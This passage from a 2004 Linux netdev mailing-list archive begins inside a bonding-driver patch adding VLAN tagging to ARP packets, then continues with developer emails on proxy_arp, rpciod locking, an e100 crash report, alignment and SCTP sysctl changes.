- client_info->slave->dev, - client_info->ip_src, - client_info->mac_dst, - client_info->slave->dev->dev_addr, - client_info->mac_dst); + struct sk_buff *skb; + + skb = arp_create(ARPOP_REPLY, ETH_P_ARP, + client_info->ip_dst, + client_info->slave->dev, + client_info->ip_src, + client_info->mac_dst, + client_info->slave->dev->dev_addr, + client_info->mac_dst); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to create an ARP packet\n"); + continue; + } + + skb->dev = client_info->slave->dev; + + if (client_info->tag) { + skb = vlan_put_tag(skb, client_info->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + + arp_xmit(skb); } } @@ -604,9 +627,10 @@ static void rlb_req_update_subnet_client } /* Caller must hold both bond and ptr locks for read */ -struct slave *rlb_choose_channel(struct bonding *bond, struct arp_pkt *arp) +struct slave *rlb_choose_channel(struct sk_buff *skb, struct bonding *bond) { struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + struct arp_pkt *arp = (struct arp_pkt *)skb->nh.raw; struct slave *assigned_slave; struct rlb_client_info *client_info; u32 hash_index = 0; @@ -662,6 +686,15 @@ struct slave *rlb_choose_channel(struct client_info->ntt = 0; } + if (!list_empty(&bond->vlan_list)) { + unsigned short vlan_id; + int res = vlan_get_tag(skb, &vlan_id); + if (!res) { + client_info->tag = 1; + client_info->vlan_id = vlan_id; + } + } + if (!client_info->assigned) { u32 prev_tbl_head = bond_info->rx_hashtbl_head; bond_info->rx_hashtbl_head = hash_index; @@ -692,7 +725,7 @@ static struct slave *rlb_arp_xmit(struct /* the arp must be sent on the selected * rx channel */ - tx_slave = rlb_choose_channel(bond, arp); + tx_slave = rlb_choose_channel(skb, bond); if (tx_slave) { memcpy(arp->mac_src,tx_slave->dev->dev_addr, ETH_ALEN); } @@ -703,7 +736,7 @@ static struct slave *rlb_arp_xmit(struct * When the arp reply is received the entry will be updated * with the correct unicast address of the client. */ - rlb_choose_channel(bond, arp); + rlb_choose_channel(skb, bond); /* The ARP relpy packets must be delayed so that * they can cancel out the influence of the ARP request. @@ -809,6 +842,40 @@ static void rlb_deinitialize(struct bond kfree(bond_info->rx_hashtbl); bond_info->rx_hashtbl = NULL; + bond_info->rx_hashtbl_head = RLB_NULL_INDEX; + + _unlock_rx_hashtbl(bond); +} + +static void rlb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + u32 curr_index; + + _lock_rx_hashtbl(bond); + + curr_index = bond_info->rx_hashtbl_head; + while (curr_index != RLB_NULL_INDEX) { + struct rlb_client_info *curr = &(bond_info->rx_hashtbl[curr_index]); + u32 next_index = bond_info->rx_hashtbl[curr_index].next; + u32 prev_index = bond_info->rx_hashtbl[curr_index].prev; + + if (curr->tag && (curr->vlan_id == vlan_id)) { + if (curr_index == bond_info->rx_hashtbl_head) { + bond_info->rx_hashtbl_head = next_index; + } + if (prev_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[prev_index].next = next_index; + } + if (next_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[next_index].prev = prev_index; + } + + rlb_init_table_entry(curr); + } + + curr_index = next_index; + } _unlock_rx_hashtbl(bond); } @@ -1616,5 +1683,9 @@ void bond_alb_clear_vlan(struct bonding (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { bond->alb_info.current_alb_vlan = NULL; } + + if (bond->alb_info.rlb_enabled) { + rlb_clear_vlan(bond, vlan_id); + } } diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:28 2004 @@ -77,6 +77,8 @@ struct rlb_client_info { u8 assigned; /* checking whether this entry is assigned */ u8 ntt; /* flag - need to transmit client info */ struct slave *slave; /* the slave assigned to this client */ + u8 tag; /* flag - need to tag skb */ + unsigned short vlan_id; /* VLAN tag associated with IP address */ }; struct tlb_slave_info { diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:28 2004 @@ -455,12 +455,20 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. - * - Fixed: Releasing the original active slave causes mac address duplication. + * - Fixed: Releasing the original active slave causes mac address + * duplication. * - Add support for slaves that use ethtool_ops. * Set version to 2.5.3. * * 2004/01/05 - Amir Noam * - Save bonding parameters per bond instead of using the global values. + * Set version to 2.5.4. + * + * 2004/01/14 - Shmulik Hen + * - Enhance VLAN support: + * * Add support for VLAN hardware acceleration capable slaves. + * * Add capability to tag self generated packets in ALB/TLB modes. + * Set version to 2.6.0. */ //#define BONDING_DEBUG 1 diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:28 2004 @@ -36,8 +36,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.4" -#define DRV_RELDATE "December 30, 2003" +#define DRV_VERSION "2.6.0" +#define DRV_RELDATE "January 14, 2004" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" From okir@suse.de Mon Feb 9 03:11:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 03:11:50 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19BBPKO006647 for ; Mon, 9 Feb 2004 03:11:26 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 079CF186C71; Mon, 9 Feb 2004 11:28:02 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id D8854196B5; Mon, 9 Feb 2004 11:28:01 +0100 (CET) Date: Mon, 9 Feb 2004 11:28:01 +0100 From: Olaf Kirch To: Christoph Hellwig Cc: netdev@oss.sgi.com, nfs@lists.sourceforge.net Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on for rpciod Message-ID: <20040209102801.GC21364@suse.de> References: <20040207144405.GA19416@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <20040207144405.GA19416@lst.de> User-Agent: Mutt/1.4i X-archive-position: 3137 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev Content-Length: 615 Lines: 17 On Sat, Feb 07, 2004 at 03:44:05PM +0100, Christoph Hellwig wrote: > The rpciod shutdown code gives ugly sleep_on without BKL warnings in > -mm. And it looks indeed somewhat racy. Yes, this code is indeed one of the areas that breaks when you use the sunrpc code without the BKL. Another one was the missing spinlock in xprt_alloc_xid. The code in fs/nfs/unlink.c is probably also racy without BKL. So if you remove the sunrpc BKL be prepared for lots and lots of bug reports :) Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From ja@ssi.bg Mon Feb 9 03:30:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 03:31:06 -0800 (PST) Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19BUhKO007387 for ; Mon, 9 Feb 2004 03:30:50 -0800 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.11.6/8.9.3) with ESMTP id i19BUuV03261; Mon, 9 Feb 2004 13:30:56 +0200 Date: Mon, 9 Feb 2004 13:30:56 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@l To: Pekka Savola cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3138 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 543 Lines: 23 Hello, On Mon, 9 Feb 2004, Pekka Savola wrote: > As this seems to make the proxy_arp more intelligent, maybe you should > take a look at: > > http://www.ietf.org/internet-drafts/draft-thaler-ipv6-ndproxy-01.txt > > (which, at the moment, specifies proxy arp/ND for both IPv4 and IPv6) > > and see how close our implementation is wrt. to that spec, whether the > above spec is better or worse, or whether there may be room for > improvement otherwise as well? Thanks, I'll check it later today. Regards -- Julian Anastasov From vandrove@vc.cvut.cz Mon Feb 9 05:01:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 05:01:52 -0800 (PST) Received: from vana.vc.cvut.cz (root@vana.vc.cvut.cz [147.32.240.58]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19D1bKO017915 for ; Mon, 9 Feb 2004 05:01:38 -0800 Received: from vana.vc.cvut.cz (smmsp@localhost [127.0.0.1]) by vana.vc.cvut.cz (8.12.11/8.12.11/Debian-1) with ESMTP id i19D1ZRL016156; Mon, 9 Feb 2004 14:01:36 +0100 Received: (from root@localhost) by vana.vc.cvut.cz (8.12.11/8.12.11/Debian-1) id i19D1Y1I016150; Mon, 9 Feb 2004 14:01:34 +0100 Date: Mon, 9 Feb 2004 14:01:34 +0100 From: Petr Vandrovec To: netdev@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: 2.6.2 crash after network link failure Message-ID: <20040209130134.GA14136@vana.vc.cvut.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3140 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vandrove@vc.cvut.cz Precedence: bulk X-list: netdev Content-Length: 1395 Lines: 38 Hi, on Saturday our network switch lost power due to scheduled Power outage, and unfortunately one of systems connected to the switch (mine :-( ) did not survive it. When I came to the system's console today, I found (written by hand, made a bit shorter...) on screen: e100: eth0 NIC Link is Up 100Mbps Full Duplex kernel/sched.c:1802: spin_is_locked on uninitialized spinlock d6e74e18 Unable to handle NULL kernel pointer dereference at virtual address 00000000 ... EIP: C0120AF1 <__wake_up_common + 0x17/0x57> ... EAX: D6E74E30 EBX: D6E74E18 ECX: 00000001 EDX: 00000000 ESI: 00000001 EDI: 00000001 EBP: C9F3DEDC ESP: C9F3DEC0 ... Call Trace: __wake_up + 0x7B/0x139 sock_def_write_space + 0x8C/0x94 sock_wfree + 0x4B/0x4D __kfree_skb + 0x5C/0xD9 net_tx_action + 0x3E/0x210 do_softirq + 0x92/0x94 do_IRQ + 0x207/0x360 common_interrupt + 0x18/0x20 It looks to me like that we've got skb on completion_queue which was connected to a bit unhappy socket - one which had sk->sk_sleep uninitialized. Only problem is that only af_unix sets skb->destructor to sock_wfree, so I somehow miss how this could be triggered by e100 link change. Kernel is approx 2.6.2-bk2, UP, APIC, IOAPIC, no-preempt, all DEBUG options except CONFIG_FRAME_POINTER enabled. System is 1.6GHz P4/512MB RAM. Best regards, Petr Vandrovec vandrove@vc.cvut.cz From hadi@cyberus.ca Mon Feb 9 07:01:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 07:01:38 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19F1SKO026261 for ; Mon, 9 Feb 2004 07:01:29 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i19F1JJB008461 for ; Mon, 9 Feb 2004 08:01:19 -0700 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AqCuS-0002Tl-CS; Mon, 09 Feb 2004 10:01:16 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1076338874.1026.36.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 09 Feb 2004 10:01:15 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3141 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1716 Lines: 53 On Sun, 2004-02-08 at 15:44, Julian Anastasov wrote: > Hello, > > Appended is a patch that modifies proxy_arp to check > the target's neighbour state before reporting any information > to requestors. The benefit is that the availability of the target > host is properly reported to the requestor, we prefer not to send > replies when target is unreachable. It should probably be a sysctl example proxy_arp_validate_neigh. I am happy with the way it is right now in the situation i use it in. > The changes: > > - now pneigh_lookup has more priority compared to arp_fwd_proxy > > - neigh_event_ns is called only once per request, not twice Could the neighbor be removed while we have the packet in the proxy queue? It doesnt seem like theres any harm done in redoing the neigh_event_ns twice. > - the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, > the requestor should have same information no matter the packet > type. In all cases we add response delay for all requests, broadcast > or unicast, to help other authoritative hosts to reply before us. > So far we havent been delaying responses to unicast because their state is typically sane. I should say we are taking for granted the sender's state machine is sane and would send a valid unicast probe. Are you protecting against insane implementations? Other than Linux what other OS actually sends unicast probes? > - the RTCF_DNAT case is not delayed anymore (may be it is not used > anymore, IIRC) > Looking at 2.6.1 CONFIG_IP_ROUTE_NAT RTCF_NAT is still in use. Recommend leaving it. > Remaining questions: > > - do we need to delay the pneigh_lookup case? Now it is still delayed > as before. Didnt follow. cheers, jamal From davem@redhat.com Mon Feb 9 11:18:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 11:18:29 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19JIIKO005538 for ; Mon, 9 Feb 2004 11:18:18 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19JIFb32443; Mon, 9 Feb 2004 14:18:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19JIFa28219; Mon, 9 Feb 2004 14:18:15 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19JHfkC027061; Mon, 9 Feb 2004 14:17:42 -0500 Date: Mon, 9 Feb 2004 11:18:14 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] [IPV6] LL_RESERVED_SPACE Message-Id: <20040209111814.3967d222.davem@redhat.com> In-Reply-To: <20040209.134523.27564970.yoshfuji@linux-ipv6.org> References: <20040209.134523.27564970.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3142 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 81 Lines: 3 I applied all of your LL_RESERVED_SPACE() patches, thanks for doing this audit. From davem@redhat.com Mon Feb 9 11:20:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 11:20:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19JKAKO005761 for ; Mon, 9 Feb 2004 11:20:10 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19JK8b00809; Mon, 9 Feb 2004 14:20:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19JK8a28697; Mon, 9 Feb 2004 14:20:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19JJZkC027584; Mon, 9 Feb 2004 14:19:35 -0500 Date: Mon, 9 Feb 2004 11:20:07 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH,RFC] [NET] ALIGN Message-Id: <20040209112007.08023ba6.davem@redhat.com> In-Reply-To: <20040209.134528.28683257.yoshfuji@linux-ipv6.org> References: <20040209.134528.28683257.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i19JKAKO005761 X-archive-position: 3143 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 658 Lines: 23 On Mon, 09 Feb 2004 13:45:28 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > D: Use ALIGN() where appricable. > > BTW, > 1. do we really need this ALIGN? > 2. should 16 be BYTES_PER_WORD (in mm/slab.c)? Let's hold on this patch. Why does it want to align the table entry size to 16 bytes anyways? I think this is complete nonsense, and that the alignment is not necessary. I can't even come up with a performance reason as SLAB is going to align things to hw cache line size anyways. Can anybody come up with some theory ? :-) Else let's just remove this bogus 16 byte alignment in the kmem_cache_create() call. From sri@us.ibm.com Mon Feb 9 12:01:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:01:45 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19K1SKO007062 for ; Mon, 9 Feb 2004 12:01:34 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i19K1LtB626788; Mon, 9 Feb 2004 15:01:21 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i19K1Kmh131968; Mon, 9 Feb 2004 15:01:21 -0500 Date: Mon, 9 Feb 2004 12:01:20 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates In-Reply-To: <20040206194518.56787717.davem@redhat.com> Message-ID: References: <20040206194518.56787717.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3144 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 962 Lines: 26 On Sun, 8 Feb 2004, David S. Miller wrote: > On Sun, 8 Feb 2004 09:07:48 -0800 (PST) > Sridhar Samudrala wrote: > > > I guess i was influenced by the TCP specific tcp_rmem/tcp_wmem. But TCP > > seems to be using them as a vector of 3 values and tuning the buffer sizes > > dynamically based on these values. > > As of now, SCTP doesn't do any tuning dynamically so i could have used the > > core rmem_default/wmem_default. > > > > Do you want me to remove the specialized SCTP sysctl's? > > It seems as duplication if there is no specific need to have seperate > controls right? OK. I removed the SCTP specific rmem/wmem. Please do a pull again from http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following cset. ChangeSet@1.1551, 2004-02-09 11:14:24-08:00, sri@us.ibm.com [SCTP] Removed SCTP specific rmem/wmem sysctl's and use the global rmem_default/wmem_default values for SCTP socket buffer sizes. Thanks Sridhar From davem@redhat.com Mon Feb 9 12:27:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:27:24 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KR9KO010743 for ; Mon, 9 Feb 2004 12:27:09 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19KQmb13426; Mon, 9 Feb 2004 15:26:48 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19KQmi30560; Mon, 9 Feb 2004 15:26:48 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19KQFkC016549; Mon, 9 Feb 2004 15:26:15 -0500 Date: Mon, 9 Feb 2004 12:26:47 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates Message-Id: <20040209122647.1e8df80a.davem@redhat.com> In-Reply-To: References: <20040206194518.56787717.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3145 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 556 Lines: 14 On Mon, 9 Feb 2004 12:01:20 -0800 (PST) Sridhar Samudrala wrote: > OK. I removed the SCTP specific rmem/wmem. Please do a pull again from > http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following cset. > > ChangeSet@1.1551, 2004-02-09 11:14:24-08:00, sri@us.ibm.com > [SCTP] Removed SCTP specific rmem/wmem sysctl's and use the global > rmem_default/wmem_default values for SCTP socket buffer sizes. Pulled, thanks for following up on this Sridhar. What is the status of synchronizing the 2.4.x SCTP sources? From sri@us.ibm.com Mon Feb 9 12:34:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:34:27 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KYDKO011150 for ; Mon, 9 Feb 2004 12:34:16 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i19KY8Pc020690; Mon, 9 Feb 2004 15:34:08 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i19KY8C2055850; Mon, 9 Feb 2004 15:34:09 -0500 Date: Mon, 9 Feb 2004 12:34:06 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates In-Reply-To: <20040209122647.1e8df80a.davem@redhat.com> Message-ID: References: <20040206194518.56787717.davem@redhat.com> <20040209122647.1e8df80a.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3146 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 272 Lines: 9 On Mon, 9 Feb 2004, David S. Miller wrote: > > What is the status of synchronizing the 2.4.x SCTP sources? It is going on well. I hope to get it done by the end of this week. Do you want me to wait for 2.4.25 release? Or can i submit it even in the -rc phase? -Sridhar From niv@us.ibm.com Mon Feb 9 12:36:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:37:01 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KajKO011532 for ; Mon, 9 Feb 2004 12:36:48 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i19KadM3301594; Mon, 9 Feb 2004 15:36:39 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i19KacqG107662; Mon, 9 Feb 2004 13:36:39 -0700 Message-ID: <4027EECA.9000705@us.ibm.com> Date: Mon, 09 Feb 2004 12:34:18 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sridhar Samudrala CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates References: <20040206194518.56787717.davem@redhat.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3147 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 566 Lines: 20 Sridhar Samudrala wrote: > ChangeSet@1.1551, 2004-02-09 11:14:24-08:00, sri@us.ibm.com > [SCTP] Removed SCTP specific rmem/wmem sysctl's and use the global > rmem_default/wmem_default values for SCTP socket buffer sizes. Sorry to pitch in on this so late - and I'm not suggesting this was not the right thing to do here, but I feel that having the per-protocol globals (as we do for TCP) is a good thing, as then you don't affect all (raw, udp..) traffic on the system just because someone is tuning for SCTP, etc. Just my 0.2c :) thanks, Nivedita From davem@redhat.com Mon Feb 9 12:38:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:38:52 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KcfKO011942 for ; Mon, 9 Feb 2004 12:38:41 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19KcZb20525; Mon, 9 Feb 2004 15:38:35 -0500 Received: from devserv.devel.redhat.com ([172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19KJTa27476; Mon, 9 Feb 2004 15:19:29 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19KIskC010304; Mon, 9 Feb 2004 15:18:56 -0500 Date: Mon, 9 Feb 2004 12:19:26 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours Message-Id: <20040209121926.6f016ebf.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3148 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 979 Lines: 20 On Sun, 8 Feb 2004 22:44:05 +0200 (EET) Julian Anastasov wrote: > - the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, > the requestor should have same information no matter the packet > type. In all cases we add response delay for 